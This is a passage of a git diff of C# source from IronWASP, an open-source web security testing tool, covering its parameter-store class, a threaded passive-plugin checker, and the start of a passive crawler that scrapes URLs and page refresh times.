- { - this.RawSet(Name, Values, BaseSafeRaw, BaseEncode, BaseDecode); - } - public void RawSet(string Name, List Values, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - if (Name.Trim().Length == 0) return; - string SafeName = SafeRawMethod(Name); - List SafeValues = new List(); - foreach (string Value in Values) - { - SafeValues.Add(SafeRawMethod(Value)); - } - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if (Key == null) - { - ParameterStore.Add(SafeName, SafeValues); - } - else - { - ParameterStore[Key] = SafeValues; - } - } - public void Set(string Name, List Values) - { - List EncodedValues = new List(); - foreach (string Value in Values) - { - EncodedValues.Add(BaseEncode(Value)); - } - this.RawSet(BaseEncode(Name), EncodedValues); - } - - //Add method - public void RawAdd(string Name, string Value) - { - RawAdd(Name, Value, BaseSafeRaw, BaseEncode, BaseDecode); - } - public void RawAdd(string Name, string Value, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - if (Name.Trim().Length == 0) return; - string SafeName = SafeRawMethod(Name); - string SafeValue = SafeRawMethod(Value); - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if (Key == null) - { - List Values = new List(); - Values.Add(SafeValue); - ParameterStore.Add(SafeName, Values); - } - else - { - ParameterStore[Key].Add(SafeValue); - } - } - public void Add(string Name, string Value) - { - this.RawAdd(BaseEncode(Name), BaseEncode(Value)); - } - - public List GetNames() - { - List Keys = new List(); - foreach (string Key in ParameterStore.Keys) - { - Keys.Add(Key); - } - return Keys; - } - - //GetAll method - public List RawGetAll(string Name) - { - return this.RawGetAll(Name, BaseSafeRaw, BaseEncode, BaseDecode); - } - public List RawGetAll(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - string SafeName = SafeRawMethod(Name); - string Key = MatchAndGetKey(Name, EncodeMethod, DecodeMethod); - if (Key == null) - { - throw new Exception("Parameter not found"); - } - else - { - return new List(ParameterStore[Key]); - } - } - public List GetAll(string Name) - { - List RawValues = this.RawGetAll(BaseEncode(Name)); - List DecodedValues = new List(); - foreach (string Value in RawValues) - { - DecodedValues.Add(BaseDecode(Value)); - } - return DecodedValues; - } - - //GetMultis method - public List RawGetMultis() - { - List Multis = new List(); - foreach (string Key in ParameterStore.Keys) - { - if (ParameterStore[Key].Count > 1) - { - Multis.Add(Key); - } - } - return Multis; - } - public List GetMultis() - { - List RawMultis = this.RawGetMultis(); - List DecodedMultis = new List(); - foreach (string Multi in RawMultis) - { - DecodedMultis.Add(BaseDecode(Multi)); - } - return DecodedMultis; - } - - //Remove method - public void RawRemove(string Name) - { - RawRemove(Name, BaseSafeRaw, BaseEncode, BaseDecode); - } - public void RawRemove(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - string SafeName = SafeRawMethod(Name); - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if (Key != null) - { - ParameterStore.Remove(Key); - } - } - public void Remove(string Name) - { - this.RawRemove(BaseEncode(Name)); - } - - public void RemoveAll() - { - this.ParameterStore = new Dictionary>(); - } - - //Has method - public bool RawHas(string Name) - { - return RawHas(Name, BaseSafeRaw, BaseEncode, BaseDecode); - } - public bool RawHas(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - string SafeName = SafeRawMethod(Name); - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if (Key == null) - { - return false; - } - else - { - return true; - } - } - public bool Has(string Name) - { - return this.RawHas(BaseEncode(Name)); - } - - protected string GetStringFromParameters(char Joiner) - { - StringBuilder SB = new StringBuilder(); - foreach (string Key in ParameterStore.Keys) - { - foreach (string Value in ParameterStore[Key]) - { - SB.Append(Key); - SB.Append("="); - SB.Append(Value); - SB.Append(Joiner); - } - } - string QS = SB.ToString().TrimEnd(new char[] { Joiner }); - return QS; - } - - //protected string GetStringFromHeaders() - //{ - // StringBuilder SB = new StringBuilder(); - // StringBuilder Host = new StringBuilder("Host: "); - // bool HasHost = false; - // StringBuilder Cookie = new StringBuilder("Cookie: "); - // bool HasCookie = false; - // foreach (string Key in ParameterStore.Keys) - // { - // if (Key.Equals("Host", StringComparison.OrdinalIgnoreCase) && !HasHost)// && !Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) - // { - // Host.Append(ParameterStore[Key][0]); - // Host.Append("\r\n"); - // HasHost = true; - // } - // else if (Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase) && !HasCookie) - // { - // Cookie.Append(ParameterStore[Key][0]); - // Cookie.Append("\r\n"); - // HasCookie = true; - // } - // else - // { - // foreach (string Value in ParameterStore[Key]) - // { - // SB.Append(Key); - // SB.Append(": "); - // SB.Append(Value); - // SB.Append("\r\n"); - // } - // } - // } - // if (HasCookie) - // { - // SB.Append(Cookie.ToString()); - // } - // SB.Append("\r\n"); - // if (HasHost) - // { - // Host.Append(SB.ToString()); - // string QSWH = Host.ToString(); - // return QSWH; - // } - // string QS = SB.ToString(); - // return QS; - //} - - //internal void BuildFromHeaderArray(string[] HeaderArray) - //{ - // foreach (string Element in HeaderArray) - // { - // if (Element.Length >= 3) - // { - // string[] HeaderParts = Element.Split(new char[] { ':' }, 2); - // if (HeaderParts.Length == 2) - // { - // this.Add(HeaderParts[0].Trim(), HeaderParts[1].Trim()); - // } - // } - // } - //} - - protected void AbsorbParametersFromString(string RawString, char Splitter) - { - if (RawString.Length > 0) - { - string[] RawParameters = RawString.Split(Splitter); - foreach (string RequestParameter in RawParameters) - { - string[] ParameterParts = RequestParameter.Split(new char[] { '=' }, 2 ); - if (ParameterParts.Length == 2) - { - this.Add(ParameterParts[0].Trim(), ParameterParts[1].Trim()); - } - else if (ParameterParts.Length == 1) - { - this.Add(ParameterParts[0].Trim(), ""); - } - } - } - else - { - this.ParameterStore = new Dictionary>(); - } - } - - public delegate string DecodeDelegate(string Input); - public delegate string EncodeDelegate(string Input); - public delegate string SafeRawDelegate(string Input); - - public string BaseDecode(string Input) - { - return Input; - } - public string BaseEncode(string Input) - { - return Input; - } - public string BaseSafeRaw(string Input) - { - return Input; - } - - string MatchAndGetKey(string Name, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - foreach(string Key in ParameterStore.Keys) - { - if(Key.Equals(Name)) return Key; - } - foreach(string Key in ParameterStore.Keys) - { - if(DecodeMethod(Key).Equals(DecodeMethod(Name))) return Key; - } - foreach(string Key in ParameterStore.Keys) - { - if(Key.Equals(DecodeMethod(Name))) return Key; - } - foreach(string Key in ParameterStore.Keys) - { - if(DecodeMethod(Key).Equals(Name)) return Key; - } - return null; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Parameters + { + Dictionary> ParameterStore = new Dictionary>(); + + public int Count + { + get + { + int TotalCount = 0; + foreach (List Values in ParameterStore.Values) + { + TotalCount = TotalCount + Values.Count; + } + return TotalCount; + } + } + + internal Parameters() + { + + } + + //Get Method + public string RawGet(string Name) + { + return this.RawGet(Name, BaseSafeRaw, BaseEncode, BaseDecode); + } + public string RawGet(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + string SafeName = SafeRawMethod(Name); + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if (Key == null) + { + throw new Exception("Parameter not found"); + } + else + { + List Values = ParameterStore[Key]; + return Values[0]; + } + } + public string Get(string Name) + { + return BaseDecode(this.RawGet(BaseEncode(Name))); + } + + //Set method + public void RawSet(string Name, string Value) + { + this.RawSet(Name, Value, BaseSafeRaw, BaseEncode, BaseDecode); + } + public void RawSet(string Name, string Value, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + if (Name.Trim().Length == 0) return; + string SafeName = SafeRawMethod(Name); + string SafeValue = SafeRawMethod(Value); + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if(Key == null) + ParameterStore[SafeName] = new List() { SafeValue }; + else + ParameterStore[Key] = new List() { SafeValue }; + } + public void Set(string Name, string Value) + { + this.RawSet(BaseEncode(Name), BaseEncode(Value)); + } + + //Set at point + public void RawSet(string Name, int Position, string Value) + { + RawSet(Name, Position, Value, BaseSafeRaw, BaseEncode, BaseDecode); + } + public void RawSetAt(string Name, int Position, string Value) + { + RawSet(Name, Position, Value); + } + public void RawSet(string Name, int Position, string Value, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + if (Name.Trim().Length == 0) return; + string SafeName = SafeRawMethod(Name); + string SafeValue = SafeRawMethod(Value); + if (Position < 0) return; + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if (Key == null) + { + ParameterStore[SafeName] = new List() { SafeValue }; + } + else + { + if (Position >= ParameterStore[Key].Count) + { + this.Add(Key, SafeValue); + } + else + { + ParameterStore[Key][Position] = SafeValue; + } + } + } + public void Set(string Name, int Position, string Value) + { + this.RawSet(BaseEncode(Name), Position, BaseEncode(Value)); + } + public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + + //Set mutliple + public void RawSet(string Name, List Values) + { + this.RawSet(Name, Values, BaseSafeRaw, BaseEncode, BaseDecode); + } + public void RawSet(string Name, List Values, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + if (Name.Trim().Length == 0) return; + string SafeName = SafeRawMethod(Name); + List SafeValues = new List(); + foreach (string Value in Values) + { + SafeValues.Add(SafeRawMethod(Value)); + } + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if (Key == null) + { + ParameterStore.Add(SafeName, SafeValues); + } + else + { + ParameterStore[Key] = SafeValues; + } + } + public void Set(string Name, List Values) + { + List EncodedValues = new List(); + foreach (string Value in Values) + { + EncodedValues.Add(BaseEncode(Value)); + } + this.RawSet(BaseEncode(Name), EncodedValues); + } + + //Add method + public void RawAdd(string Name, string Value) + { + RawAdd(Name, Value, BaseSafeRaw, BaseEncode, BaseDecode); + } + public void RawAdd(string Name, string Value, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + if (Name.Trim().Length == 0) return; + string SafeName = SafeRawMethod(Name); + string SafeValue = SafeRawMethod(Value); + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if (Key == null) + { + List Values = new List(); + Values.Add(SafeValue); + ParameterStore.Add(SafeName, Values); + } + else + { + ParameterStore[Key].Add(SafeValue); + } + } + public void Add(string Name, string Value) + { + this.RawAdd(BaseEncode(Name), BaseEncode(Value)); + } + + public List GetNames() + { + List Keys = new List(); + foreach (string Key in ParameterStore.Keys) + { + Keys.Add(Key); + } + return Keys; + } + + //GetAll method + public List RawGetAll(string Name) + { + return this.RawGetAll(Name, BaseSafeRaw, BaseEncode, BaseDecode); + } + public List RawGetAll(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + string SafeName = SafeRawMethod(Name); + string Key = MatchAndGetKey(Name, EncodeMethod, DecodeMethod); + if (Key == null) + { + throw new Exception("Parameter not found"); + } + else + { + return new List(ParameterStore[Key]); + } + } + public List GetAll(string Name) + { + List RawValues = this.RawGetAll(BaseEncode(Name)); + List DecodedValues = new List(); + foreach (string Value in RawValues) + { + DecodedValues.Add(BaseDecode(Value)); + } + return DecodedValues; + } + + //GetMultis method + public List RawGetMultis() + { + List Multis = new List(); + foreach (string Key in ParameterStore.Keys) + { + if (ParameterStore[Key].Count > 1) + { + Multis.Add(Key); + } + } + return Multis; + } + public List GetMultis() + { + List RawMultis = this.RawGetMultis(); + List DecodedMultis = new List(); + foreach (string Multi in RawMultis) + { + DecodedMultis.Add(BaseDecode(Multi)); + } + return DecodedMultis; + } + + //Remove method + public void RawRemove(string Name) + { + RawRemove(Name, BaseSafeRaw, BaseEncode, BaseDecode); + } + public void RawRemove(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + string SafeName = SafeRawMethod(Name); + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if (Key != null) + { + ParameterStore.Remove(Key); + } + } + public void Remove(string Name) + { + this.RawRemove(BaseEncode(Name)); + } + + public void RemoveAll() + { + this.ParameterStore = new Dictionary>(); + } + + //Has method + public bool RawHas(string Name) + { + return RawHas(Name, BaseSafeRaw, BaseEncode, BaseDecode); + } + public bool RawHas(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + string SafeName = SafeRawMethod(Name); + string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); + if (Key == null) + { + return false; + } + else + { + return true; + } + } + public bool Has(string Name) + { + return this.RawHas(BaseEncode(Name)); + } + + protected string GetStringFromParameters(char Joiner) + { + StringBuilder SB = new StringBuilder(); + foreach (string Key in ParameterStore.Keys) + { + foreach (string Value in ParameterStore[Key]) + { + SB.Append(Key); + SB.Append("="); + SB.Append(Value); + SB.Append(Joiner); + } + } + string QS = SB.ToString().TrimEnd(new char[] { Joiner }); + return QS; + } + + //protected string GetStringFromHeaders() + //{ + // StringBuilder SB = new StringBuilder(); + // StringBuilder Host = new StringBuilder("Host: "); + // bool HasHost = false; + // StringBuilder Cookie = new StringBuilder("Cookie: "); + // bool HasCookie = false; + // foreach (string Key in ParameterStore.Keys) + // { + // if (Key.Equals("Host", StringComparison.OrdinalIgnoreCase) && !HasHost)// && !Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) + // { + // Host.Append(ParameterStore[Key][0]); + // Host.Append("\r\n"); + // HasHost = true; + // } + // else if (Key.Equals("Cookie", StringComparison.OrdinalIgnoreCase) && !HasCookie) + // { + // Cookie.Append(ParameterStore[Key][0]); + // Cookie.Append("\r\n"); + // HasCookie = true; + // } + // else + // { + // foreach (string Value in ParameterStore[Key]) + // { + // SB.Append(Key); + // SB.Append(": "); + // SB.Append(Value); + // SB.Append("\r\n"); + // } + // } + // } + // if (HasCookie) + // { + // SB.Append(Cookie.ToString()); + // } + // SB.Append("\r\n"); + // if (HasHost) + // { + // Host.Append(SB.ToString()); + // string QSWH = Host.ToString(); + // return QSWH; + // } + // string QS = SB.ToString(); + // return QS; + //} + + //internal void BuildFromHeaderArray(string[] HeaderArray) + //{ + // foreach (string Element in HeaderArray) + // { + // if (Element.Length >= 3) + // { + // string[] HeaderParts = Element.Split(new char[] { ':' }, 2); + // if (HeaderParts.Length == 2) + // { + // this.Add(HeaderParts[0].Trim(), HeaderParts[1].Trim()); + // } + // } + // } + //} + + protected void AbsorbParametersFromString(string RawString, char Splitter) + { + if (RawString.Length > 0) + { + string[] RawParameters = RawString.Split(Splitter); + foreach (string RequestParameter in RawParameters) + { + string[] ParameterParts = RequestParameter.Split(new char[] { '=' }, 2 ); + if (ParameterParts.Length == 2) + { + this.Add(ParameterParts[0].Trim(), ParameterParts[1].Trim()); + } + else if (ParameterParts.Length == 1) + { + this.Add(ParameterParts[0].Trim(), ""); + } + } + } + else + { + this.ParameterStore = new Dictionary>(); + } + } + + public delegate string DecodeDelegate(string Input); + public delegate string EncodeDelegate(string Input); + public delegate string SafeRawDelegate(string Input); + + public string BaseDecode(string Input) + { + return Input; + } + public string BaseEncode(string Input) + { + return Input; + } + public string BaseSafeRaw(string Input) + { + return Input; + } + + string MatchAndGetKey(string Name, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) + { + foreach(string Key in ParameterStore.Keys) + { + if(Key.Equals(Name)) return Key; + } + foreach(string Key in ParameterStore.Keys) + { + if(DecodeMethod(Key).Equals(DecodeMethod(Name))) return Key; + } + foreach(string Key in ParameterStore.Keys) + { + if(Key.Equals(DecodeMethod(Name))) return Key; + } + foreach(string Key in ParameterStore.Keys) + { + if(DecodeMethod(Key).Equals(Name)) return Key; + } + return null; + } + } +} diff --git a/IronWASP/PassiveChecker.cs b/Iron/PassiveChecker.cs similarity index 96% rename from IronWASP/PassiveChecker.cs rename to Iron/PassiveChecker.cs index 2be460c..59982d2 100644 --- a/IronWASP/PassiveChecker.cs +++ b/Iron/PassiveChecker.cs @@ -1,207 +1,207 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class PassiveChecker - { - internal static Thread CheckerThreadOne; - internal static Thread CheckerThreadTwo; - internal static Thread CheckerThreadThree; - internal static Thread CheckerThreadFour; - internal static bool On = true; - static Queue CheckRequest = new Queue(); - static Queue CheckResponse = new Queue(); - - internal static bool RunOnProxyTraffic = true; - internal static bool RunOnShellTraffic = true; - internal static bool RunOnTestTraffic = true; - internal static bool RunOnScanTraffic = false; - internal static bool RunOnProbeTraffic = true; - - internal static int RequestQueueLength - { - get - { - lock (CheckRequest) - { - return CheckRequest.Count; - } - } - - } - - internal static int ResponseQueueLength - { - get - { - lock (CheckResponse) - { - return CheckResponse.Count; - } - } - } - - internal static void AddToCheckRequest(Session Sess) - { - switch (Sess.Request.Source) - { - case RequestSource.Proxy: - if (!RunOnProxyTraffic) return; - break; - case RequestSource.Shell: - if (!RunOnShellTraffic) return; - break; - case RequestSource.Test: - if (!RunOnTestTraffic) return; - break; - case RequestSource.Scan: - if (!RunOnScanTraffic) return; - break; - case RequestSource.Probe: - if (!RunOnProbeTraffic) return; - break; - default: - if (!Sess.Request.CanRunPassivePlugins) return; - break; - } - lock (CheckRequest) - { - CheckRequest.Enqueue(Sess); - } - } - - internal static void AddToCheckResponse(Session Sess) - { - if (Sess.Response != null) - { - switch(Sess.Request.Source) - { - case RequestSource.Proxy: - if (!RunOnProxyTraffic) return; - break; - case RequestSource.Shell: - if (!RunOnShellTraffic) return; - break; - case RequestSource.Test: - if (!RunOnTestTraffic) return; - break; - case RequestSource.Scan: - if (!RunOnScanTraffic) return; - break; - case RequestSource.Probe: - if (!RunOnProbeTraffic) return; - break; - default: - if (!Sess.Request.CanRunPassivePlugins) return; - break; - } - lock (CheckResponse) - { - CheckResponse.Enqueue(Sess); - } - } - } - - internal static void Start() - { - CheckerThreadOne = new Thread(Check); - CheckerThreadTwo = new Thread(Check); - CheckerThreadThree = new Thread(Check); - CheckerThreadFour = new Thread(Check); - CheckerThreadOne.Start(); - CheckerThreadTwo.Start(); - CheckerThreadThree.Start(); - CheckerThreadFour.Start(); - } - - internal static void Check() - { - while (On) - { - try - { - Session IrSe; - lock (CheckRequest) - { - IrSe = CheckRequest.Dequeue(); - } - if(IrSe != null) PluginEngine.RunAllRequestBasedOfflinePassivePlugins(IrSe); - } - catch (InvalidOperationException) - { } - catch(Exception Exp) - { - IronException.Report("Error Running Offline Plugins on Request", Exp.Message, Exp.StackTrace); - } - - try - { - Session IrSe; - lock (CheckResponse) - { - IrSe = CheckResponse.Dequeue(); - } - if (IrSe != null) PluginEngine.RunAllResponseBasedOfflinePassivePlugins(IrSe); - } - catch (InvalidOperationException) - { - Thread.Sleep(500); - } - catch (Exception Exp) - { - IronException.Report("Error Running Offline Plugins on Response", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void Stop() - { - On = false; - - try - { - CheckerThreadOne.Abort(); - } - catch { } - - try - { - CheckerThreadTwo.Abort(); - } - catch { } - - try - { - CheckerThreadThree.Abort(); - } - catch { } - - try - { - CheckerThreadFour.Abort(); - } - catch { } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class PassiveChecker + { + internal static Thread CheckerThreadOne; + internal static Thread CheckerThreadTwo; + internal static Thread CheckerThreadThree; + internal static Thread CheckerThreadFour; + internal static bool On = true; + static Queue CheckRequest = new Queue(); + static Queue CheckResponse = new Queue(); + + internal static bool RunOnProxyTraffic = true; + internal static bool RunOnShellTraffic = true; + internal static bool RunOnTestTraffic = true; + internal static bool RunOnScanTraffic = false; + internal static bool RunOnProbeTraffic = true; + + internal static int RequestQueueLength + { + get + { + lock (CheckRequest) + { + return CheckRequest.Count; + } + } + + } + + internal static int ResponseQueueLength + { + get + { + lock (CheckResponse) + { + return CheckResponse.Count; + } + } + } + + internal static void AddToCheckRequest(Session Sess) + { + switch (Sess.Request.Source) + { + case RequestSource.Proxy: + if (!RunOnProxyTraffic) return; + break; + case RequestSource.Shell: + if (!RunOnShellTraffic) return; + break; + case RequestSource.Test: + if (!RunOnTestTraffic) return; + break; + case RequestSource.Scan: + if (!RunOnScanTraffic) return; + break; + case RequestSource.Probe: + if (!RunOnProbeTraffic) return; + break; + default: + if (!Sess.Request.CanRunPassivePlugins) return; + break; + } + lock (CheckRequest) + { + CheckRequest.Enqueue(Sess); + } + } + + internal static void AddToCheckResponse(Session Sess) + { + if (Sess.Response != null) + { + switch(Sess.Request.Source) + { + case RequestSource.Proxy: + if (!RunOnProxyTraffic) return; + break; + case RequestSource.Shell: + if (!RunOnShellTraffic) return; + break; + case RequestSource.Test: + if (!RunOnTestTraffic) return; + break; + case RequestSource.Scan: + if (!RunOnScanTraffic) return; + break; + case RequestSource.Probe: + if (!RunOnProbeTraffic) return; + break; + default: + if (!Sess.Request.CanRunPassivePlugins) return; + break; + } + lock (CheckResponse) + { + CheckResponse.Enqueue(Sess); + } + } + } + + internal static void Start() + { + CheckerThreadOne = new Thread(Check); + CheckerThreadTwo = new Thread(Check); + CheckerThreadThree = new Thread(Check); + CheckerThreadFour = new Thread(Check); + CheckerThreadOne.Start(); + CheckerThreadTwo.Start(); + CheckerThreadThree.Start(); + CheckerThreadFour.Start(); + } + + internal static void Check() + { + while (On) + { + try + { + Session IrSe; + lock (CheckRequest) + { + IrSe = CheckRequest.Dequeue(); + } + if(IrSe != null) PluginEngine.RunAllRequestBasedOfflinePassivePlugins(IrSe); + } + catch (InvalidOperationException) + { } + catch(Exception Exp) + { + IronException.Report("Error Running Offline Plugins on Request", Exp.Message, Exp.StackTrace); + } + + try + { + Session IrSe; + lock (CheckResponse) + { + IrSe = CheckResponse.Dequeue(); + } + if (IrSe != null) PluginEngine.RunAllResponseBasedOfflinePassivePlugins(IrSe); + } + catch (InvalidOperationException) + { + Thread.Sleep(500); + } + catch (Exception Exp) + { + IronException.Report("Error Running Offline Plugins on Response", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void Stop() + { + On = false; + + try + { + CheckerThreadOne.Abort(); + } + catch { } + + try + { + CheckerThreadTwo.Abort(); + } + catch { } + + try + { + CheckerThreadThree.Abort(); + } + catch { } + + try + { + CheckerThreadFour.Abort(); + } + catch { } + } + } +} diff --git a/Iron/PassiveCrawler.cs b/Iron/PassiveCrawler.cs new file mode 100644 index 0000000..9e17947 --- /dev/null +++ b/Iron/PassiveCrawler.cs @@ -0,0 +1,506 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class PassiveCrawler + { + static string CrawlerUserAgent = ""; + + static List RequestsWaitingForResponse = new List(); + + static List ScrapedUrls = new List(); + + static string[] UrlExtensionsToScrape = new string[] {".asp",".aspx",".axd",".asx",".asmx",".ashx",".cfm",".yaws",".html",".htm",".xhtml",".jhtml",".jsp",".jspx",".do",".action",".pl",".php",".php4",".php3",".phtml",".rhtml",".cgi",".dll"}; + static string[] UrlsStartMarkers = new string[] {"http://","https://","../"}; + + internal static bool intPassiveCrawlerRunning = false; + + internal static string PageWaitTime = "0"; + + internal static bool PassiveCrawlerRunning + { + get + { + return intPassiveCrawlerRunning; + } + set + { + intPassiveCrawlerRunning = value; + if (!intPassiveCrawlerRunning) + { + lock (RequestsWaitingForResponse) + { + RequestsWaitingForResponse.Clear(); + } + lock (ScrapedUrls) + { + ScrapedUrls.Clear(); + } + } + } + } + + internal static void CapturedCrawlRequest(Session Sess) + { + if (!PassiveCrawlerRunning) return; + + Request Req = Sess.Request; + if (Req.Headers.Has("User-Agent") && Req.Headers.Get("User-Agent").Equals(CrawlerUserAgent)) + { + lock (RequestsWaitingForResponse) + { + if (!RequestsWaitingForResponse.Contains(Req.LogId)) + { + RequestsWaitingForResponse.Add(Req.LogId); + } + } + } + } + + internal static void CapturedCrawlResponse(Session Sess) + { + if (!PassiveCrawlerRunning) return; + + Request Req = Sess.Request; + Response Res = Sess.Response; + + if (Req.Headers.Has("User-Agent") && Req.Headers.Get("User-Agent").Equals(CrawlerUserAgent)) + { + lock (RequestsWaitingForResponse) + { + if (RequestsWaitingForResponse.Contains(Req.LogId)) + { + RequestsWaitingForResponse.Remove(Req.LogId); + } + } + } + FindWaitTime(Res); + ScrapeUrls(Req, Res); + } + + static void FindWaitTime(Response Res) + { + string RefreshHeaderVal = ""; + if (Res.Headers.Has("Refresh")) + { + RefreshHeaderVal = Res.Headers.Get("Refresh"); + } + else + { + List Metas = Res.Html.GetMetaContent("http-equiv", "Refresh"); + if(Metas.Count > 0) RefreshHeaderVal= Metas[0]; + } + if (RefreshHeaderVal.Length > 0) + { + string[] RefreshHeaderParts = RefreshHeaderVal.Split(new char[]{';'}, StringSplitOptions.RemoveEmptyEntries); + if (RefreshHeaderParts.Length > 1) + { + try + { + string RefPageWaitTime = (Int32.Parse(RefreshHeaderParts[0].Trim()) * 1000).ToString(); + if (PageWaitTime == "unknown" || PageWaitTime == "0") + { + PageWaitTime = RefPageWaitTime; + } + else + { + try + { + if (Int32.Parse(RefPageWaitTime) > Int32.Parse(PageWaitTime)) + { + PageWaitTime = RefPageWaitTime; + } + } + catch { PageWaitTime = RefPageWaitTime; } + } + return; + } + catch { } + } + } + if (Res.BodyString.Contains("setTimeout(") || Res.BodyString.Contains("setInterval(")) + { + int ScrapedWaitTime = ScrapeSetTimeoutWaitTime(Res.BodyString); + if (ScrapedWaitTime > 0) + { + string TimeoutPageWaitTime = ScrapedWaitTime.ToString(); + if (PageWaitTime == "unknown" || PageWaitTime == "0") + { + PageWaitTime = TimeoutPageWaitTime; + } + else + { + try + { + if (Int32.Parse(TimeoutPageWaitTime) > Int32.Parse(PageWaitTime)) + { + PageWaitTime = TimeoutPageWaitTime; + } + } + catch { PageWaitTime = TimeoutPageWaitTime; } + } + } + else + { + PageWaitTime = "unknown"; + } + } + } + + public static int ScrapeSetTimeoutWaitTime(string Source) + { + int MaxExtractedWaitTime = 0; + int TimeWaitTimeOne = GetWaitTime(Source, "setTimeout("); + int TimeWaitTimeTwo = GetWaitTime(Source, "setInterval("); + if (TimeWaitTimeOne > TimeWaitTimeTwo) + { + MaxExtractedWaitTime = TimeWaitTimeOne; + } + else + { + MaxExtractedWaitTime = TimeWaitTimeTwo; + } + return MaxExtractedWaitTime; + } + + static int GetWaitTime(string _Source, string _WaitCmd) + { + int Pointer = 0; + + int MaxWaitTime = 0; + + const string CodeState = "code"; + const string SingleQuoteState = "single_quote"; + const string DoubleQuoteState = "double_quote"; + const string QuoteLessCommandState = "quote_less_command"; + const string CommandArgumentState = "command_argument"; + const string CommandFirstArgumentEndState = "command_first_argument_end"; + + string State = CodeState; + + while (Pointer < _Source.Length) + { + switch (State) + { + case (SingleQuoteState): + while (Pointer < _Source.Length) + { + if (_Source[Pointer] == '\'' && _Source[Pointer - 1] != '\\') + { + State = CommandFirstArgumentEndState; + Pointer++; + break; + } + Pointer++; + } + break; + case (DoubleQuoteState): + while (Pointer < _Source.Length) + { + if (_Source[Pointer] == '"' && _Source[Pointer - 1] != '\\') + { + State = CommandFirstArgumentEndState; + Pointer++; + break; + } + Pointer++; + } + break; + case (CommandFirstArgumentEndState): + StringBuilder SB = new StringBuilder(); + while (Pointer < _Source.Length) + { + if (_Source[Pointer] == ')') + { + State = CodeState; + try + { + int WaitTime = Int32.Parse(SB.ToString().Trim().Trim(',').Trim()); + if (WaitTime > MaxWaitTime) + { + MaxWaitTime = WaitTime; + } + } + catch { } + Pointer++; + break; + } + else + { + SB.Append(_Source[Pointer]); + Pointer++; + } + } + break; + case(QuoteLessCommandState): + if (_Source[Pointer] == ',') + { + State = CommandFirstArgumentEndState; + break; + } + Pointer++; + break; + case (CommandArgumentState): + while (Pointer < _Source.Length) + { + if (_Source[Pointer] == '"') + { + State = DoubleQuoteState; + 